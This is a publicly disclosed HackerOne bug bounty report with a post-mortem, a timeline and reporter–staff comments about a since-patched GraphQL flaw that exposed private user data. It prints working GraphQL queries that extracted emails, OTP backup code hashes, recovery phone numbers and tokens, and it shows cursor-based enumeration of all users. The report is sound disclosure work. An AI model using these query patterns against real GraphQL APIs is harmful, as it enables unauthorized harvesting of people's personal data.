198

Confidential data of users and limited metadata of programs and reports accessible via GraphQL

Share:

State	○ Resolved (Closed)
Disclosed	**February 3, 2019 4:27pm +0530**
Reported To	HackerOne
Asset	https://hackerone.com (Domain)
Weakness	Information Disclosure
Bounty	$20,000
Severity	Critical (9.3)
Participants	
Visibility	Disclosed (Full)

Collapse

SUMMARY BY HACKERONE

On January 31st, 2019 at 7:16pm PST, HackerOne confirmed that two reporters were able to query confidential data through a GraphQL endpoint. This vulnerability was introduced on December 17th, 2018 and was caused by a backend migration to a class-based implementation of GraphQL types, mutations, and connections. The class-based implementation introduced the `nodes` field by default on all connections. The `nodes` field, in contrast with `edges`, didn't leverage any of the defenses HackerOne has implemented to mitigate the exposure of sensitive information.

Our investigation concluded that malicious actors did not exploit the vulnerability. No confidential data was compromised. A short-term fix was released on January 31st, 2019 at 9:46 PM, a little over 2 hours after the vulnerability was reproduced.

Timeline

Date	Time (PST)	Action
2018-12-17	9:07 AM	Software containing bug deployed to production.
2019-01-31	7:32 AM	Vulnerability submitted to HackerOne's bug bounty program.
2019-01-31	7:21 PM	HackerOne validated the report and started incident response.
2019-01-31	8:25 PM	HackerOne identified which code change introduced the security vulnerability and started work on a patch.
2019-01-31	9:46 PM	A patch was released mitigating the identified vulnerability.
2019-01-31	11:46 PM	HackerOne confirmed the vulnerability was not abused by any malicious actors.
2019-02-01	6:18 AM	The root cause of the vulnerability was identified and a long term mitigation was proposed.

Date	Time (PST)	Action
2019-02-01	5:08 PM	Long term mitigation was deployed to production.
2019-02-03	2:34 AM	Impacted users were alerted that their information was exposed to the reporters who submitted the vulnerability.

Root Cause

HackerOne has a number of defenses in place to reduce the risk of over-exposing data through our GraphQL layer. The first notable defense is a separate database schema that limits the set of rows a user can query based on their current role. This significantly reduces the impact in case, for example, the result of `Report.all`, would be serialized and returned to the user. The second notable defense is attribute-level authorization depending on the role of the requester. This makes sure that when an object is serialized, for example a publicly disclosed report, the user is not able to obtain internal metadata of the report.

Why upgrade?
On December 17th, when the code change was put up for review, engineers noticed the addition of the `nodes` field. An assumption was made that the field behaved like a shortcut for `edges { node }` — which, in hindsight, was not the case. No manual testing was performed to make sure that the authorization model for `nodes` was similar to other connection types.

HackerOne's engineering team decided to upgrade to the class-based implementation of `graphql-ruby` because the old .define-based implementation was lazy-loaded. This caused problems when hot reloading pieces of code in a development environment. The class-based implementation...
Show more

TIMELINE

yashrs submitted a report to **HackerOne**. Jan 31st (4 days ago)

Summary:
The GraphQL endpoint doesn't have access controls implemented properly.

Description:
Any attacker can get personally identifiable information of users of Hackerone such as email address, backup hash codes, facebook_user_id, account_recovery_phone_number_verified_at, totp_enabled, etc.

These are just some examples of fields which are getting leaked directly from GraphQL.

This is the request sent to GraphQL:

```
{
  id
  users()
  {
    total_count
    nodes
    {
      _id
      name
      username
      email
      account_recovery_phone_number
      account_recovery_unverified_phone_number
      bounties
      {
        total_amount
      }
      otp_backup_codes
      i_can_update_username
      location
      year_in_review_published_at
      anc_triager
      blacklisted_from_hacker_publish
      calendar_token
      vpn_credentials
      {
        name
      }
      account_recovery_phone_number_sent_at
      account_recovery_phone_number_verified_at
      swag
      {
        total_count
      }
      totp_enabled
      subscribed_for_team_messages
      subscribed_for_monthly_digest
      sessions
      {
        total_count
      }
      facebook_user_id
      unconfirmed_email
    }
  }
```

Sample Response:
[redacted]

Please fix it.

Thanks,
Yash :)

Impact

This could potentially leak many users' info

yashrs posted a comment. Updated Feb 3rd (20 hrs ago)

After further research, we also found the following:

- User email addresses also leak the private program information
- Duplicate users can give info about actual users. For example: (jobert -> [redacted], Michiel -> [redacted])
  [redacted]
- Invitation preference:
  [redacted]
- T_shirt size
- edit_unclaimed_profiles(true/false)
- Lufthansa account(what is it?)
- Next username update date

Similarly, the total count on Users is [redacted], so we are able to extract information for any user and also for all if an attacker wants to.

Thanks,
Yash

yashrs invited **milindpurswani** as a collaborator. Jan 31st (3 days ago)

milindpurswani joined this report as a collaborator. Jan 31st (3 days ago) milindpurswani posted a comment. Updated Feb 2nd (2 days ago)

For instance, we are able to extact information about a hackerone staff member @still by using the feature of graphql, **after cursor**, `users(after:"MzY4MDYw")`.

P.S We haven't saved any other information other than mentioned here.

```
{
 id
 {
   id
   team
   {
     _id
     about
   }
   uuid
 }
 me{
   _id #388246
   id  #gid://hackerone/User/388246
 }
   users(after:"MzY4MDYw")
 {
total_count
   pageInfo
   {
     hasNextPage
     endCursor
     startCursor
   }
   nodes()
   {
     _id
     name
     username
     hackerone_triager
     email
     authentication_service
     created_at
     duplicate_users
     {
       total_count
       nodes
       {
         _id
         name
         username
         bio
         bounties
         {
           average_amount
         }
         account_recovery_phone_number
         hackerone_triager
       }
     }
account_recovery_phone_number
     account_recovery_unverified_phone_number
     bounties
     {
       total_amount
```

```
      }
      otp_backup_codes
      i_can_update_username
      location
      #year_in_review_published_at
      anc_triager
      #blacklisted_from_hacker_publish
      calendar_token
      facebook_user_id
    }
  }
}
```

[redacted]

jobert posted a comment. Feb 1st (3 days ago)

Hi @yashrs and @milind1997 - thanks for this. We're looking into this now and we'll keep you posted.

jobert changed the status to ○ **Triaged**. Feb 1st (3 days ago)

Nice, we were able to reproduce the vulnerability you described. We'll jump on it right away!

yashrs posted a comment. Updated Feb 2nd (2 days ago)

Additionally, we found out that `teams()` was also affected. So this further widens the impact and attack surface of this report.

The **triage_note** shouldn't be visible to anyone. It reveals information like test accounts for hackers, SAML credentials and other sensitive information that should be only visible to HackerOne Team.

[redacted]

Also, as seen in the above screenshot, other information like `max_number_of_team_mediation_requests`, `last_invitation_accepted_at_for_user`, etc. were found. There maybe more to this, but we haven't investigated 100%.

Thanks,
Yash :)

jobert posted a comment. Feb 1st (3 days ago)

Hi @yashrs and @milind1997 - thanks for continuing to look into this. We're aware that this exposes more data that you initially reported. We will follow up with the data that was possible to be queried in a post mortem. We'd kindly like to ask to stop testing right now. Thanks for your cooperation!

yashrs posted a comment. Feb 1st (3 days ago)

Hello @jobert,

Thanks for your quick response. We were just assessing the attack surface searching for worst case scenarios. But, now that you are aware about all the risks, we will stop.

Thanks
-Yash :)

jobert posted a comment. Feb 1st (3 days ago)

Hi @yashrs and @milind1997 - thanks again! We just deployed a fix for the vulnerability you discovered. Can you confirm the fix? We are continuing with our investigation to determine whether this has been abused. Thanks!

jobert updated the severity from High (8.8) to Critical (9.3). Feb 1st (3 days ago)

jobert added weakness "Information Disclosure" and removed weakness "Privacy Violation". Feb 1st (3 days ago)

yashrs posted a comment. Feb 1st (3 days ago)

I can confirm that it is fixed. I get an error from GraphQL now. That was quick :)

jobert closed the report and changed the status to ○ **Resolved**. Feb 1st (3 days ago)

Thanks for confirming, it's much appreciated! We'll wrap up our investigation, provide a summary in this report with our root cause analysis, and award a bounty soon.

Unrelated to the vulnerability itself: we noticed that you're both collaborators on this report and we want to make sure that the weights are set correctly. Can you confirm this?

yashrs posted a comment. Feb 1st (3 days ago)

> Thanks for confirming, it's much appreciated! We'll wrap up our investigation, provide a summary in this report with our root cause analysis, and award a bounty soon.

Thanks, that is much appreciated :) I'm so excited, it's my first accepted bug on Hackerone

> Unrelated to the vulnerability itself: we noticed that you're both collaborators on this report and we want to make sure that the weights are set correctly. Can you confirm this?

Thanks for noticing that @jobert, but yes I can confirm that it's correctly set.

HackerOne rewarded milindpurswani with a **$2,000** bounty. Feb 2nd (2 days ago)

Hi @yashrs and @milindpurswani - thanks again for bringing this to our attention, this was an amazing finding! We've added a post mortem at the top of the report to prepare this to be publicly disclosed. This includes how we decided on the bounty amount. We've redacted the screenshots you provided us. We look forward to receiving vulnerabilities from both of you in the future!

Happy hacking!

HackerOne rewarded yashrs with a **$18,000** bounty. Feb 2nd (2 days ago)

Hi @yashrs and @milindpurswani - thanks again for bringing this to our attention, this was an amazing finding! We've added a post mortem at the top of the report to prepare this to be publicly disclosed. This includes how we decided on the bounty amount. We've redacted the screenshots you provided us. We look forward to receiving vulnerabilities from both of you in the future!

Happy hacking!

michiel changed the report title from **User Information Leakage through GRAPHQL** to **User Information Leakage through GraphQL**. Feb 2nd (2 days ago)

jobert changed the report title from **User Information Leakage through GraphQL** to **Confidential data of users and limited metadata of programs and reports accessible via GraphQL**. Feb 2nd (2 days ago)

milindpurswani posted a comment. Feb 2nd (2 days ago)

We are glad we could help make Hackerone more secure.

yashrs posted a comment. Feb 2nd (2 days ago)

Thank you so much @jobert and @hackerone team for fixing this so quickly and awarding the bounty :D

Do you think we are eligible for some swag? Would love to have one!

HackerOne rewarded yashrs with **swag**. Feb 2nd (2 days ago)

Of course! Happy to send you some swag for such a great find. :-)

milindpurswani posted a comment. Feb 2nd (2 days ago)

Hello team,
Two researchers collaborated, so do you think that the other researcher is also eligible for some swag?

yashrs posted a comment. Feb 2nd (2 days ago)

@jobert @security
Slightly related to this vuln: The user himself is able to read the otp_backup_codes hashes. I know this doesn't cause any harm in general but just wanted to confirm if it's intended before this report is disclosed

```
{
 me{
    _id #388246
    id  #gid://hackerone/User/388246
    otp_backup_codes
    username
  }
}
```

Resp:
{F416558}

Thanks,
Yash :)

yashrs posted a comment. Feb 2nd (2 days ago)
Also, just curious: What is the difference between edges[node] and nodes.. why are there two fields which do the same thing?

jobert posted a comment. Feb 2nd (about 1 day ago)

> Two researchers collaborated, so do you think that the other researcher is also eligible for some swag?

Yes, we'll make sure to send both of you swag.

> The user himself is able to read the otp_backup_codes hashes. I know this doesn't cause any harm in general but just wanted to confirm if it's intended before this report is disclosed

Thanks for asking! It is currently intentional, but when we worked on this incident we noticed that this could be implemented in a different way. We'll likely remove it from the schema in some time.

> What is the difference between edges[node] and nodes.. why are there two fields which do the same thing?

Great question! From what I could see in the commit history of the gem, it is simply a shorthand for `edges { node }`. It wasn't supposed to be added by default though, and so for compatibility the maintainer later accepted a pull request to make it configurable.

reed requested to disclose this report. Feb 3rd (18 hrs ago)

milindpurswani posted a comment. Feb 3rd (17 hrs ago)
Hello @reed, please redact the last screenshot posted by @yashrs. Then we can disclose it.

Thanks

-Milind

reed posted a comment. Feb 3rd (17 hrs ago)
@milindpurswani done! Please accept disclosure. :-)

yashrs agreed to disclose this report. Feb 3rd (17 hrs ago)
Here we go!!

1 attachment:
F417233: done.jpg

This report has been disclosed. Feb 3rd (17 hrs ago)

yashrs posted a comment. Feb 3rd (17 hrs ago)

Also, shoutout to @milindpurswani for being cool and helping me out on this report! Thanks again!